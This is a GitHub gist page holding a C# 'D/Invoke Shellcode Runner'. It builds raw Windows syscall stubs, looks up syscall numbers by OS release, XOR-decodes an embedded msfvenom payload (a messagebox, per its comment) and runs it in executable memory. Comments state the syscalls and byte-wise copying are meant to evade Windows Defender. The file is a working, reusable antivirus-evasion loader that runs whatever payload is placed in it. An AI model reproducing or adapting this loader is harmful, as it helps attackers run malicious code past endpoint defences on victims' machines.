Last active
May 19, 2022 10:09
-
-
Save FrankSpierings/8f9931a76d168ffa5e3cfe0537ed09f6 to your computer and use it in GitHub Desktop.
D/Invoke Shellcode Runner
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
- Compile: docker run --rm -it -v /tmp/data:/tmp/data mono csc /tmp/data/dinvoke-shellcode.cs -out:/tmp/data/dinvoke-shellcode.exe /platform:x64 /unsafe | |
- Reference (Thanks!) : https://jhalon.github.io/utilizing-syscalls-in-csharp-1/ | |
*/ | |
using System; | |
using System.Runtime.InteropServices; | |
using System.Diagnostics; | |
using System.ComponentModel; | |
using Microsoft.Win32; | |
class Syscalls | |
{ | |
// Required P/Invoke to make the syscall buffer executable | |
[DllImport("kernel32.dll")] | |
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); | |
public static byte[] Syscall(UInt32 nr) | |
{ | |
// Debug syscalls | |
Console.WriteLine(String.Format("[+] Syscall: {0:d04} (0x{0:x04})", nr)); | |
byte[] syscall = { | |
0x4C, 0x8B, 0xD1, // mov r10, rcx | |
0xB8, 0x00, 0x00, 0x00, 0x00, // mov eax, <SYSCALL> | |
0x0F, 0x05, // syscall | |
0xC3 // ret | |
}; | |
Buffer.BlockCopy(BitConverter.GetBytes(nr), 0, syscall, 4, sizeof(UInt32)); | |
return syscall; | |
} | |
// Find the release number of the operating system to determine the correct syscall | |
public static string ReleaseId() { | |
string releaseid = (string) Registry.GetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion", "ReleaseId", ""); | |
Console.WriteLine(String.Format("[+] Release: {0}", releaseid)); | |
return releaseid; | |
} | |
public static uint NtAllocateVirtualMemory( | |
IntPtr ProcessHandle, | |
out IntPtr BaseAddress, | |
UInt32 ZeroBits, | |
ref UInt32 RegionSize, | |
UInt32 AllocationType, | |
UInt32 Protect) | |
{ | |
byte[] syscall = Syscall(24); | |
unsafe | |
{ | |
fixed (byte* ptr = syscall) | |
{ | |
IntPtr memoryAddress = (IntPtr)ptr; | |
if (!VirtualProtect(memoryAddress, (UIntPtr)syscall.Length, 0x00000040, out uint lpflOldProtect)) | |
{ | |
throw new Win32Exception(); | |
} | |
Delegates.NtAllocateVirtualMemory assembledFunction = (Delegates.NtAllocateVirtualMemory)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtAllocateVirtualMemory)); | |
return (uint)assembledFunction( | |
ProcessHandle, | |
out BaseAddress, | |
ZeroBits, | |
ref RegionSize, | |
AllocationType, | |
Protect); | |
} | |
} | |
} | |
public static uint NtWriteVirtualMemory( | |
IntPtr ProcessHandle, | |
IntPtr BaseAddress, | |
byte[] Buffer, | |
UInt32 NumberOfBytesToWrite, | |
out UInt32 NumberOfBytesWritten) | |
{ | |
byte[] syscall = Syscall(58); | |
unsafe | |
{ | |
fixed (byte* ptr = syscall) | |
{ | |
IntPtr memoryAddress = (IntPtr)ptr; | |
if (!VirtualProtect(memoryAddress, (UIntPtr)syscall.Length, 0x00000040, out uint lpflOldProtect)) | |
{ | |
throw new Win32Exception(); | |
} | |
Delegates.NtWriteVirtualMemory assembledFunction = (Delegates.NtWriteVirtualMemory)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtWriteVirtualMemory)); | |
return (uint)assembledFunction( | |
ProcessHandle, | |
BaseAddress, | |
Buffer, | |
NumberOfBytesToWrite, | |
out NumberOfBytesWritten); | |
} | |
} | |
} | |
public static uint NtCreateThreadEx( | |
out IntPtr ThreadHandle, | |
UInt32 DesiredAccess, | |
IntPtr ObjectAttributes, | |
IntPtr ProcessHandle, | |
IntPtr StartAddress, | |
IntPtr Parameter, | |
bool CreateSuspended, | |
Int32 StackZeroBits, | |
Int32 SizeOfStack, | |
Int32 MaximumStackSize, | |
IntPtr AttributeList) | |
{ | |
byte[] syscall; | |
string releaseid = ReleaseId(); | |
switch (releaseid) { | |
case "1507": | |
syscall = Syscall(179); | |
break; | |
case "1511": | |
syscall = Syscall(180); | |
break; | |
case "1607": | |
syscall = Syscall(182); | |
break; | |
case "1703": | |
syscall = Syscall(185); | |
break; | |
case "1709": | |
syscall = Syscall(186); | |
break; | |
case "1803": | |
syscall = Syscall(187); | |
break; | |
case "1809": | |
syscall = Syscall(188); | |
break; | |
case "1903": | |
case "1909": | |
syscall = Syscall(189); | |
break; | |
case "2004": | |
case "20H2": | |
syscall = Syscall(193); | |
break; | |
case "2009": | |
syscall = Syscall(193); | |
break; | |
default: | |
Console.WriteLine(String.Format("[!] Unknown Release ID: {0}", releaseid)); | |
syscall = Syscall(198); | |
break; | |
} | |
unsafe | |
{ | |
fixed (byte* ptr = syscall) | |
{ | |
IntPtr memoryAddress = (IntPtr)ptr; | |
if (!VirtualProtect(memoryAddress, (UIntPtr)syscall.Length, 0x00000040, out uint lpflOldProtect)) | |
{ | |
throw new Win32Exception(); | |
} | |
Delegates.NtCreateThreadEx assembledFunction = (Delegates.NtCreateThreadEx)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtCreateThreadEx)); | |
return (uint)assembledFunction( | |
out ThreadHandle, | |
DesiredAccess, | |
ObjectAttributes, | |
ProcessHandle, | |
StartAddress, | |
Parameter, | |
CreateSuspended, | |
StackZeroBits, | |
SizeOfStack, | |
MaximumStackSize, | |
AttributeList); | |
} | |
} | |
} | |
public static uint NtWaitForSingleObject( | |
IntPtr Handle, | |
Boolean Alertable, | |
IntPtr pTimeOut) | |
{ | |
byte[] syscall = Syscall(4); | |
unsafe | |
{ | |
fixed (byte* ptr = syscall) | |
{ | |
IntPtr memoryAddress = (IntPtr)ptr; | |
if (!VirtualProtect(memoryAddress, (UIntPtr)syscall.Length, 0x00000040, out uint lpflOldProtect)) | |
{ | |
throw new Win32Exception(); | |
} | |
Delegates.NtWaitForSingleObject assembledFunction = (Delegates.NtWaitForSingleObject)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtWaitForSingleObject)); | |
return (uint)assembledFunction( | |
Handle, | |
Alertable, | |
pTimeOut); | |
} | |
} | |
} | |
public struct Delegates | |
{ | |
[UnmanagedFunctionPointer(CallingConvention.StdCall)] | |
public delegate uint NtAllocateVirtualMemory( | |
IntPtr ProcessHandle, | |
out IntPtr BaseAddress, | |
UInt32 ZeroBits, | |
ref UInt32 RegionSize, | |
UInt32 AllocationType, | |
UInt32 Protect | |
); | |
[UnmanagedFunctionPointer(CallingConvention.StdCall)] | |
public delegate uint NtWriteVirtualMemory( | |
IntPtr ProcessHandle, | |
IntPtr BaseAddress, | |
byte[] Buffer, | |
UInt32 NumberOfBytesToWrite, | |
out UInt32 NumberOfBytesWritten | |
); | |
[UnmanagedFunctionPointer(CallingConvention.StdCall)] | |
public delegate uint NtCreateThreadEx( | |
out IntPtr ThreadHandle, | |
UInt32 DesiredAccess, | |
IntPtr ObjectAttributes, | |
IntPtr ProcessHandle, | |
IntPtr StartAddress, | |
IntPtr Parameter, | |
bool CreateSuspended, | |
Int32 StackZeroBits, | |
Int32 SizeOfStack, | |
Int32 MaximumStackSize, | |
IntPtr AttributeList | |
); | |
[UnmanagedFunctionPointer(CallingConvention.StdCall)] | |
public delegate uint NtWaitForSingleObject( | |
IntPtr Handle, | |
Boolean Alertable, | |
IntPtr pTimeOut | |
); | |
} | |
} | |
class Program | |
{ | |
// docker run --rm -it metasploitframework/metasploit-framework bash -c "./msfvenom -p windows/x64/messagebox -f EXITFUNC=thread -f hex 2>/dev/null" | python3 /tmp/data/xorencrypt-csharp.py | |
const byte key = 0xe5; | |
static byte[] buf = new byte[295] { | |
0x19, 0xad, 0x64, 0x01, 0x15, 0x1a, 0x1a, 0x1a, 0x0d, 0x35, 0xe5, 0xe5, 0xe5, 0xa4, 0xb4, 0xa4, | |
0xb5, 0xb7, 0xb4, 0xb3, 0xad, 0xd4, 0x37, 0x80, 0xad, 0x6e, 0xb7, 0x85, 0xdb, 0xad, 0x6e, 0xb7, | |
0xfd, 0xdb, 0xad, 0x6e, 0xb7, 0xc5, 0xdb, 0xad, 0x6e, 0x97, 0xb5, 0xdb, 0xad, 0xea, 0x52, 0xaf, | |
0xaf, 0xa8, 0xd4, 0x2c, 0xad, 0xd4, 0x25, 0x49, 0xd9, 0x84, 0x99, 0xe7, 0xc9, 0xc5, 0xa4, 0x24, | |
0x2c, 0xe8, 0xa4, 0xe4, 0x24, 0x07, 0x08, 0xb7, 0xa4, 0xb4, 0xdb, 0xad, 0x6e, 0xb7, 0xc5, 0xdb, | |
0x6e, 0xa7, 0xd9, 0xad, 0xe4, 0x35, 0xdb, 0x6e, 0x65, 0x6d, 0xe5, 0xe5, 0xe5, 0xad, 0x60, 0x25, | |
0x91, 0x8a, 0xad, 0xe4, 0x35, 0xb5, 0xdb, 0x6e, 0xad, 0xfd, 0xdb, 0xa1, 0x6e, 0xa5, 0xc5, 0xac, | |
0xe4, 0x35, 0x06, 0xb9, 0xad, 0x1a, 0x2c, 0xdb, 0xa4, 0x6e, 0xd1, 0x6d, 0xad, 0xe4, 0x33, 0xa8, | |
0xd4, 0x2c, 0xad, 0xd4, 0x25, 0x49, 0xa4, 0x24, 0x2c, 0xe8, 0xa4, 0xe4, 0x24, 0xdd, 0x05, 0x90, | |
0x14, 0xdb, 0xa9, 0xe6, 0xa9, 0xc1, 0xed, 0xa0, 0xdc, 0x34, 0x90, 0x33, 0xbd, 0xdb, 0xa1, 0x6e, | |
0xa5, 0xc1, 0xac, 0xe4, 0x35, 0x83, 0xdb, 0xa4, 0x6e, 0xe9, 0xad, 0xdb, 0xa1, 0x6e, 0xa5, 0xf9, | |
0xac, 0xe4, 0x35, 0xdb, 0xa4, 0x6e, 0xe1, 0x6d, 0xad, 0xe4, 0x35, 0xa4, 0xbd, 0xa4, 0xbd, 0xbb, | |
0xbc, 0xbf, 0xa4, 0xbd, 0xa4, 0xbc, 0xa4, 0xbf, 0xad, 0x66, 0x09, 0xc5, 0xa4, 0xb7, 0x1a, 0x05, | |
0xbd, 0xa4, 0xbc, 0xbf, 0xdb, 0xad, 0x6e, 0xf7, 0x0c, 0xac, 0x1a, 0x1a, 0x1a, 0xb8, 0xac, 0x22, | |
0x24, 0xe5, 0xe5, 0xe5, 0xe5, 0xdb, 0xad, 0x68, 0x70, 0x1b, 0xe5, 0xe5, 0xe5, 0xdb, 0xa9, 0x68, | |
0x60, 0xea, 0xe4, 0xe5, 0xe5, 0xad, 0xd4, 0x2c, 0xa4, 0x5f, 0xa0, 0x66, 0xb3, 0xe2, 0x1a, 0x30, | |
0xad, 0xd4, 0x2c, 0xa4, 0x5f, 0x15, 0x50, 0x47, 0xb3, 0x1a, 0x30, 0xad, 0x80, 0x89, 0x89, 0x8a, | |
0xc9, 0xc5, 0x83, 0x97, 0x8a, 0x88, 0xc5, 0xa8, 0xb6, 0xa3, 0xc4, 0xe5, 0xa8, 0x80, 0x96, 0x96, | |
0x84, 0x82, 0x80, 0xa7, 0x8a, 0x9d, 0xe5 }; | |
static void Main(string[] args) | |
{ | |
Process p = Process.GetCurrentProcess(); | |
UInt32 size = (uint) buf.Length; | |
Syscalls.NtAllocateVirtualMemory(p.Handle, out IntPtr hAddr, 0, ref size, 0x3000, 0x40); | |
// Xor decode | |
byte[] dec_buf = new byte[buf.Length]; | |
for(int i = 0; i < buf.Length; i++) | |
{ | |
dec_buf[i] = (byte)(((uint)buf[i] ^ key) & 0xff); | |
// Copy one byte at a time to make it harder for Windows Defender ;) | |
// byte[] b = new byte[1] {(byte)(((uint)buf[i] ^ key) & 0xff)}; | |
// Marshal.Copy(b, 0, IntPtr.Add(hAddr, i), 1); | |
} | |
// Copy the buffer using a syscall to evade Windows Defender. | |
Syscalls.NtWriteVirtualMemory(p.Handle, hAddr, dec_buf, (uint) dec_buf.Length, out UInt32 written); | |
Syscalls.NtCreateThreadEx(out IntPtr hShellcodeThread, 0x1FFFFF, IntPtr.Zero, p.Handle, hAddr, IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero); | |
Syscalls.NtWaitForSingleObject(hShellcodeThread, false, IntPtr.Zero); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment